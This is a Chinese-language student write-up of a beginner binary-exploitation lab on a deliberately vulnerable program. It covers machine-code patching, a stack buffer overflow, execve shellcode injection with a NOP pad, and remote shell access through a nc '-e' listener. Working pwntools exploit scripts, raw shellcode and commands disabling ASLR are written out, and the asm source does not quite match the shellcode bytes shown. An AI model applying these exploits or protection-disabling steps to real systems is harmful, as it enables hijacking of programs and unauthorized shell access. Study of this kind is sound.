pwn入门学习(exp1)
常用汇编指令及寄存器的作用
-
NOP
:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90) -
JNE
:条件转移指令,如果不相等则跳转。(机器码:75) -
J E
:条件转移指令,如果相等则跳转。(机器码:74) -
JMP
:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA) -
CMP
:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。 -
EAX
:通用寄存器。相对其他寄存器,在进行运算方面比较常用。在保护模式中,也可以作为内存偏移指针(此时,DS作为段 寄存器或选择器) -
EBX
:通用寄存器。通常作为内存偏移指针使用(相对于EAX、ECX、EDX),DS是默认的段寄存器或选择器。在保护模式中,同样可以起这个作用。 -
ECX
:通用寄存器。通常用于特定指令的计数。在保护模式中,也可以作为内存偏移指针(此时,DS作为 寄存器或段选择器)。 -
EDX
:通用寄存器。在某些运算中作为EAX的溢出寄存器(例如乘、除)。在保护模式中,也可以作为内存偏移指针(此时,DS作为段 寄存器或选择器)。 -
ESI
:通常在内存操作指令中作为“源地址指针”使用。当然,ESI可以被装入任意的数值,但通常没有人把它当作通用寄存器来用。DS是默认段寄存器或选择器。 -
EDI
:通常在内存操作指令中作为“目的地址指针”使用。当然,EDI也可以被装入任意的数值,但通常没有人把它当作通用寄存器来用。DS是默认段寄存器或选择器。 -
EBP
:这也是一个作为指针的寄存器。通常,它被高级语言编译器用以建造‘堆栈帧'来保存函数或过程的局部变量,不过,还是那句话,你可以在其中保存你希望的任何数据。SS是它的默认段寄存器或选择器。
工具选择
-
kali2020
:用于提供linux环境 -
python3
:用于编写脚本辅助攻击 -
ida
:用于查看和调试程序运行情况
场景实操
准备工作
root@zengyutao:~# execstack -s 20181221pwn3 //设置堆栈可执行
root@zengyutao:~# execstack -q 20181221pwn3 //查询文件的堆栈是否可执行
X 20181221pwn3
root@zengyutao:~# more /proc/sys/kernel/randomize_va_space
2
root@zengyutao:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@zengyutao:~# more /proc/sys/kernel/randomize_va_space
0
ida部分使用教程
- 确定程序是32位还是64位,选择相应的ida打开。如果是32位的程序使用了64位的ida打开,虽然可以看到反汇编代码,但是无法进行转化为伪代码的操作,会报错,示例如下。
-
按F5进行转换,查看程序伪代码,这样可以知道程序编写逻辑,同时查看是否有隐藏的函数。(本次实践中的程序在主函数中只调用了foo函数,隐藏了getShell函数,如图所示)
-
同时,我们可以还通过切换窗口视图来查看不同的窗口(反汇编窗口、伪代码窗口、十六进制窗口、结构窗口、函数窗口等),反汇编窗口中可以通过空格切换为图形视图和文字视图,同时,还可以下断点对程序进行调试。
- 如果想要让主机上的ida和虚拟机进行交互,需要进行部分配置。
- 更改ida模式为“Remote Linux debugger"
- 查看虚拟机IP地址,并打开导航栏里的Debugger->Process options,修改配置。(红框内为需要输入的虚拟机IP地址)
- 打开ida文件夹里的dbgsrv文件夹,将对应的linux_server文件放到需要交互的虚拟机文件夹中。
- 本地打开需要调试的程序,下好断点后按F9开始调试,同时虚拟机中可以将payload发送过来。在调试中,F2下断点,F7单步步入,F8单步步过。
实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
但该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法getshell。
1、直接修改程序机器指令,改变程序执行流程
首先,用ida打开程序pwn1,F5查看程序伪代码逻辑结构
可以看到,main函数中的逻辑非常简单,调用foo函数,然后结束,我们再看看foo函数的逻辑。
foo函数会获取用户输入,然后返回用户输出。此外,我们还发现了一个显眼的getshell函数。
getShell函数为我们提供了一个可用shell。于是思路就出现了,我们可以通过修改main函数中调用foo函数的地址,使其跳转到getShell函数,即可完成攻击。所以我们要查看main函数和getShell的函数的机器码和地址。
通过双击左侧函数列表分别查看foo函数和getshell函数的入口,我们发现,foo函数的入口地址为08048491,getShell函数的入口地址为0804847D。所以,我们只需要修改程序16进制值,将08048491替换为0804847D即可达成目的。
我们先选中main函数中关键的地址
再查看16进制值,E8是跳转的机器码,我们想让它调用getShell,只要修改“d7ffffff”为,"0804847D-80484ba"对应的补码就行。
最后,我们使用winhex工具,通过计算,将D7FFFFFF改为C3FFFFFF即可完成攻击。
2、通过构造输入参数,造成BOF攻击,改变程序执行流
根据刚刚我们查看foo函数伪代码,可以知道,这里存在缓冲区溢出的漏洞。
首先,函数定义了一个char型的s,然后通过gets函数将用户输入的数据存入s中,再输出s中的内容。而通常char分为无符号(unsigned)和有符号(signed)两种:
-
无符号(unsigned)的取值范围:0~255;
-
有符号(signed)的取值范围为:-128~127.
一般我们常用char来声明一个变量,编译器默认为有符号的,即范围为:-128~127。
具体缓冲区溢出攻击原理看博客:https://www.cnblogs.com/fanzhidongyzby/archive/2013/08/10/3250405.html
因此,我们只需要输入字节足够长的内容,就可以成功覆盖返回地址。通过计算,128/4=32,再加上返回地址,所以我们至少需要输入36个字符才能够到达返回地址。所以我们尝试输入”11111111222222223333333344444444haha“
可以看到红框处,我们输入的”11111111222222223333333344444444“已经把缓冲区填充满了。然后选中的地方也可以发现,返回地址
也已经被我们输入的”haha"占据了。因此,我们只需要将haha替换为getShell函数的返回地址,就可以成功攻击了。
因此,我们只需要在脚本中修改一下payload的值,将haha替换为"\x7d\x84\x04\x08"即可。
这里贴上脚本,仅供参考:
from pwn import *
p = process('./20181221pwn3')
payload = '11111111222222223333333344444444'+'\x7d\x84\x04\x08'
p.sendline(payload)
p.interactive()
3、尝试注入自己的shellcode并运行拿shell
首先,我们先打开一个空白文档,将汇编语言写到文档中,并保存为.asm文件
global _start
_start:
mov eax,0 ;eax置0
mov edx,0 ;edx置0
push edx
push "/sh"
push "/bin" ;将/bin/sh存入栈中
mov ebx,esp ;ebx指向/bin/sh字符串
xor eax,eax
mov al,0Bh ;eax置为execve函数中断号
int 80h
然后,我们用nasm编译,生成目标文件,再用gun ld来连接:
nasm -f elf32 -o shellcode.o shellcode.asm
ld -m elf_i386 -o shellcode shellcode.o
再提取机器码:
for i in $(objdump -d shellcode | grep "^ " | cut -f2); do echo -n ' '$i; done; echo
于是我们就得到了最终的shellcode
\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80
我们把这个shellcode添加到我们的脚本中,并运行
可以看到,shellcode的地址在FFFFD1B0中,我们只需要将”61686168“也就是”haha“改成"\xb0\xd1\xff\xff"既可
至此,使用填充字符法溢出缓冲区的攻击已经完成。下面附上脚本:
from pwn import *
p = process('./20181221pwn3')
payload = '11111111222222223333333344444444'+'\xb0\xd1\xff\xff\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80'
p.sendline(payload)
p.interactive()
那么,就有人问了,我如果不想填充那么多溢出缓冲区怎么办?也有办法
我们可以把我们的shellcode写到缓冲区内部,再使用NOP填充到返回地址并修改就好了。
我们还是使用上面的shellcode作为演示,这次我们的payload是:
\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90\x90\x90\x8c\xd1\xff\xff
由于char型缓冲区的长度为128,所以我们需要填充9个"\x90"才能到达返回地址。
不过这里有一个小细节需要注意,我们的shellcode长度不能太长,因为我们这时候已经快到EBX和ESP了。经过测试,我们shellcode的最大长度为24字节。
最后附上脚本:
from pwn import *
p = process('./20181221pwn3')
payload = '\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90\x90\x90\x8c\xd1\xff\xff'
p.sendline(payload)
p.interactive()
4、远程nc连接getshell
首先,在主机终端输入指令开启监听
nc -l -p 28234 -e ./20181221pwn3
然后在另一台机上使用nc连接,这里我们直接使用pwn模组内置的remote函数进行连接。然后再直接通过脚本将shellcode传进去,就可以getshell了。
最后贴上脚本:
from pwn import *
p = remote("192.168.211.137",28234)
test1shellcode = '\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90\x90\x90\xec\xd1\xff\xff'
payload = test1shellcode
p.sendline(payload)
p.interactive()
心得体会
总的来说,这次实验比较基础,教会了我如何查看分析文件二进制。同时,对于汇编指令和机器码也有了更加深入的理解,能够自行编写shellcode。收获颇丰。